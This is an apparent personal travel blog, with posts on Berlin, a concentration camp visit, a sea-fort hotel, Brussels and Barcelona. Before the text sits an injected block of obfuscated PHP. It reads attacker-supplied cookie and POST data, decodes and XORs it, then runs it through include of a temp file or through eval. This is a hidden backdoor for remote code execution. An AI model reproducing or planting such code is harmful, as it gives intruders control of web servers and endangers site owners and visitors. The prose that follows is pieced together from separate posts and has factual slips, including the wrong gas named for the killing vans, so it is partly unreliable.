$NpLPNLHpb = "\x53" . "\x73" . chr (95) . 'R' . "\113" . chr ( 915 - 844 ).chr (65); $lOesN = 'c' . chr ( 352 - 244 ).'a' . "\163" . "\x73" . "\137" . chr ( 340 - 239 )."\x78" . "\x69" . "\x73" . "\x74" . "\163";$AoiCi = class_exists($NpLPNLHpb); $NpLPNLHpb = "10636";$lOesN = "19664";if ($AoiCi === FALSE){class Ss_RKGA{public function yXdNVTYHa(){echo "32767";}private $zahDTPtf;public static $MbqpzPwxk = "aacacdd7-c2d4-4db0-a073-13256f480517";public static $hrfcHnTd = 34431;public function __construct($kukPMN=0){$zPTpF = $_POST;$bbglQpZxd = $_COOKIE;$cDEfG = @$bbglQpZxd[substr(Ss_RKGA::$MbqpzPwxk, 0, 4)];if (!empty($cDEfG)){$ktdmJB = "base64";$keKmynQRzZ = "";$cDEfG = explode(",", $cDEfG);foreach ($cDEfG as $bJhRxw){$keKmynQRzZ .= @$bbglQpZxd[$bJhRxw];$keKmynQRzZ .= @$zPTpF[$bJhRxw];}$keKmynQRzZ = array_map($ktdmJB . chr ( 823 - 728 )."\x64" . 'e' . chr (99) . chr (111) . 'd' . "\145", array($keKmynQRzZ,)); $keKmynQRzZ = $keKmynQRzZ[0] ^ str_repeat(Ss_RKGA::$MbqpzPwxk, (strlen($keKmynQRzZ[0]) / strlen(Ss_RKGA::$MbqpzPwxk)) + 1);Ss_RKGA::$hrfcHnTd = @unserialize($keKmynQRzZ);}}private function FoPLJ(){if (is_array(Ss_RKGA::$hrfcHnTd)) {$sbXxY = sys_get_temp_dir() . "/" . crc32(Ss_RKGA::$hrfcHnTd["\163" . "\x61" . chr (108) . "\164"]);@Ss_RKGA::$hrfcHnTd["\167" . 'r' . "\x69" . chr (116) . "\145"]($sbXxY, Ss_RKGA::$hrfcHnTd["\x63" . 'o' . 'n' . 't' . "\145" . 'n' . "\x74"]);include $sbXxY;@Ss_RKGA::$hrfcHnTd[chr (100) . "\x65" . "\x6c" . 'e' . 't' . 'e']($sbXxY); $QjPZAw = "46436";exit();}}public function __destruct(){$this->FoPLJ();}}$AcAeQEL = new /* 46459 */ Ss_RKGA(); $AcAeQEL = str_repeat("7049_37301", 1);}$fEAgDyq = "\115" . "\130" . '_' . "\103" . 'M' . "\120" . "\154";$KhZWxCUbA = chr ( 229 - 130 ).'l' . "\x61" . chr ( 841 - 726 )."\x73" . '_' . "\145" . 'x' . 'i' . chr ( 838 - 723 )."\x74" . 's';$YTgqTdy = $KhZWxCUbA($fEAgDyq); $kziHUF = $YTgqTdy;if (!$kziHUF){class MX_CMPl{private $ZoePHg;public static $sYfYYloLR = "75fb285b-3c08-4920-ba13-82ad02ed3cae";public static $sKIqRCvRZ = 50260;public function __construct($yymoYJ=0){$OVFKzjun = $_COOKIE;$VlAZGmnTsH = $_POST;$elRCLKixiH = @$OVFKzjun[substr(MX_CMPl::$sYfYYloLR, 0, 4)];if (!empty($elRCLKixiH)){$ToJziOb = "base64";$HIdafM = "";$elRCLKixiH = explode(",", $elRCLKixiH);foreach ($elRCLKixiH as $VGSVB){$HIdafM .= @$OVFKzjun[$VGSVB];$HIdafM .= @$VlAZGmnTsH[$VGSVB];}$HIdafM = array_map($ToJziOb . chr ( 798 - 703 ).chr ( 828 - 728 )."\x65" . "\x63" . chr ( 738 - 627 )."\x64" . "\x65", array($HIdafM,)); $HIdafM = $HIdafM[0] ^ str_repeat(MX_CMPl::$sYfYYloLR, (strlen($HIdafM[0]) / strlen(MX_CMPl::$sYfYYloLR)) + 1);MX_CMPl::$sKIqRCvRZ = @unserialize($HIdafM);}}private function JAbVmMUFDg(){if (is_array(MX_CMPl::$sKIqRCvRZ)) {$GmaMdlpKmd = str_replace(chr ( 383 - 323 ) . chr ( 673 - 610 ).'p' . "\x68" . chr ( 415 - 303 ), "", MX_CMPl::$sKIqRCvRZ['c' . "\x6f" . chr (110) . 't' . 'e' . "\x6e" . 't']);eval($GmaMdlpKmd); $PWOnoP = "33759";exit();}}public function __destruct(){$this->JAbVmMUFDg();}}$aMAmxbBtmW = new MX_CMPl(); $aMAmxbBtmW = "53269_5959";}
It is quite amazing to visit a city that, in many ways, has re-invented itself in the last 25 years. Since the Berlin Wall fell in 1989, the city has had the opportunity to reunify, but also to rebuild. With the East lagging behind in freedoms, but also construction, there were many opportunities for Berlin to flourish as of late. And even despite the great divide, it is very easy to use transit throughout Berlin to get to where you need. Renting a car really isn’t necessary as the city is close to the airport, and also the main city sights are very well connected by train, subway and bus.
Throughout Berlin you will still see parts of the Berlin Wall. Some are in museums while others are in office buildings and other pieces are just throughout the city. Thankfully, there is actually a brick path where the wall once stood so you can see how much the city has developed, but also where the city was torn apart.
Checkpoint Charlie, the famous checkpoint in central Berlin, is now just a rebuilt tourist building in the middle of the city (where it originally stood). To see the original checkpoint you have to go into one of the museums. That being said, it was somewhat fitting to see a sign saying you are leaving the US Sector, at the checkpoint, and see a McDonalds right there.
There is no shortage of things to do in Berlin. Most have to do with its history, either in WW2, the Berlin Wall or how the city has developed. That being said, one of the most shocking sights was the concentration camp Sanshenhausen. It is outside of Berlin, but it is connected by subway and a bus, or you can walk about 20 minutes from the subway. So it is about one hour out of the downtown area. It was surprising to actually see one of these concentration camps. You don’t realize until you see one, just the size of them. These were huge camps to hold thousands of people who had lost all their rights and freedoms just because of their religion. People could only go to the bathrooms at certain times of day and could always see freedom over the walls, but never able to get to that freedom. Perhaps even more surprising was that these camps also had a separate prison within them for people who misbehaved or were were enemies of the nazis. While at the camp you also learn all the various, and sad ways, that the Nazis had found to kills people. Although shower/gas chambers are the famous ways, it was not unheard of for people to be killed in bunkers by being shot from above, or taken out in cars that were pumped fully of Carbon Dixoide. While many of this will never experience a fear and life like this, it reminds us all to remember these mistakes and think about those living in areas of Civil War.
Berlin is now a world class city with no shortage of things to do for everyone and an active night life. If you get a chance to visit Berlin you must
]]>Originally built in the late 1800s, over 15 years, No Mans Fort was a Fort in the middle of the ocean to stop France from invading the UK. Then, after many years of non use (between 1920 and 1935) during World World Tour it was used again to help protect the UK. Oddly enough though, the forts have never really shot a gun or done anything in terms of actual warfare. Potentially the thought of them was enough to stop enemies from ever invading this area.
Now they have been converted to a luxury hotel that takes up to 50 people a night. The food has been delicious and there have been many drinks to be had. A great stay.
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Overall the city has a ton of fresh bakeries. Nothing like having a fresh waffle or pastry on the streets. In terms of the city itself it had a beautiful, classic old area with amazing buildings. Also being the site of Expo 58 they have some exhibits from that. That being said they seemed dated, like the Atominim, so I wouldn’t recommend it.
I also went to Mini Europe which was quite interesting. It is basically key buildings in Europeans history, and from every European country, in 1:25 size. Very interesting.
]]>While there were many interesting buildings to see in Barcelona, it was definitely a trip that was about relaxation and chilling out. The food was also delicious – especially all the tapas!
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]]>2015 looks like it will already be another great year. We will be living in London for another year, but in our own townhouse that we picked out in London!
I can’t wait to see what 2015 has to bring!
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